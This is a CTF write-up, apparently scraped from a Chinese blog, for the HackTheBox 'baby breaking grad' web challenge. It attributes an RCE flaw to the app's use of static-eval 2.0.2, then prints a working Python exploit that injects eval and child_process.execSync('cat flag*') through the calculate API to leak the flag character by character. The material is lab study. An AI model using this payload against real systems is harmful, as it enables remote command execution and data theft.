当前位置:网站首页>HackTheBox-baby breaking grad
HackTheBox-baby breaking grad
2022-07-04 00:58:00 【galaxy3000】
List of articles
summary
HackTheBox Website CTF shooting range Web Related topics baby breaking grad, Title address https://app.hackthebox.com/challenges/baby-breaking-grad, Main investigation AST Injected knowledge points .
subject
Title Overview
After opening the program instance , Prompt to visit 209.97.187.217:32476
, visit http://209.97.187.217:32476, See the following Web Interface
Directly select a submission to get
Download the attachment and extract it to get
Source code
stay routes In the catalog index.js in , Including different url Treatment method
It involves StudentHelper.js, Corresponding source code
StudentHelper.js Yes static-eval and esprima, stay package.json See their version in
Their thinking
You can see static-eval by 2.0.2, There is RCE Loophole , For details, please refer to https://github.com/advisories/GHSA-8v27-2fg9-7h62
Solution code
import string
import requests
url = 'http://209.97.187.217:32476/api/calculate'
flag = ''
for i, _ in enumerate(iter(bool, True)):
for chr in string.printable:
payload = "(function (x) { return `${eval(\"if(global.process.mainModule.constructor._load('child_process').execSync('cat flag*').toString().charCodeAt(" + str(i) + ") == " + str(ord(chr)) + ") {25} else {1}\")}` })()"
data = {"name": "AAA", "formula": payload}
r = requests.post(url, json=data)
if('Passed' in r.content):
flag += chr
print(flag)
if(chr == '}'):
quit()
break
Run code , obtain flag
边栏推荐
- GUI application: socket network chat room
- The difference between objects and objects
- Eight year test old bird, some suggestions for 1-3 year programmers
- 查询效率提升10倍!3种优化方案,帮你解决MySQL深分页问题
- What is the potential of pocket network, which is favored by well-known investors?
- MySQL uses the view to report an error, explain/show can not be issued; lacking privileges for underlying table
- Understanding of Radix
- Characteristics of ginger
- Regular expression of shell script value
- 删除所有值为y的元素。数组元素中的值和y的值由主函数通过键盘输入。
猜你喜欢
Future source code view -juc series
The difference between objects and objects
@EnableAsync @Async
AI helps make new breakthroughs in art design plagiarism retrieval! Professor Liu Fang's team paper was employed by ACM mm, a multimedia top-level conference
Beijing invites reporters and media
GUI application: socket network chat room
Function: store the strings entered in the main function in reverse order. For example, if you input the string "ABCDEFG", you should output "gfedcba".
功能:求出菲波那契数列的前一项与后一项之比的极限的 近似值。例如:当误差为0.0001时,函数值为0.618056。
【.NET+MQTT】.NET6 环境下实现MQTT通信,以及服务端、客户端的双边消息订阅与发布的代码演示
[complimentary ppt] kubemeet Chengdu review: make the delivery and management of cloud native applications easier!
随机推荐
Release and visualization of related data
国元证券开户是真的安全可靠吗
I don't care about you. OKR or KPI, PPT is easy for you
Pytest unit test framework: simple and easy to use parameterization and multiple operation modes
不得不会的Oracle数据库知识点(一)
Oracle database knowledge points that cannot be learned (II)
The difference between fetchtype lazy and eagle in JPA
关于 uintptr_t和intptr_t 类型
查询效率提升10倍!3种优化方案,帮你解决MySQL深分页问题
It's OK to have hands-on 8 - project construction details 3-jenkins' parametric construction
Anomalies seen during the interview
Day05 表格
Unity Shader入门精要读书笔记 第三章 Unity Shader基础
Future源码一观-JUC系列
功能:求5行5列矩阵的主、副对角线上元素之和。注意, 两条对角线相交的元素只加一次。例如:主函数中给出的矩阵的两条对角线的和为45。
不得不会的Oracle数据库知识点(三)
Global and Chinese market of underwater bags 2022-2028: Research Report on technology, participants, trends, market size and share
Flutter local database sqflite
All in one 1412: binary classification
Struct in linked list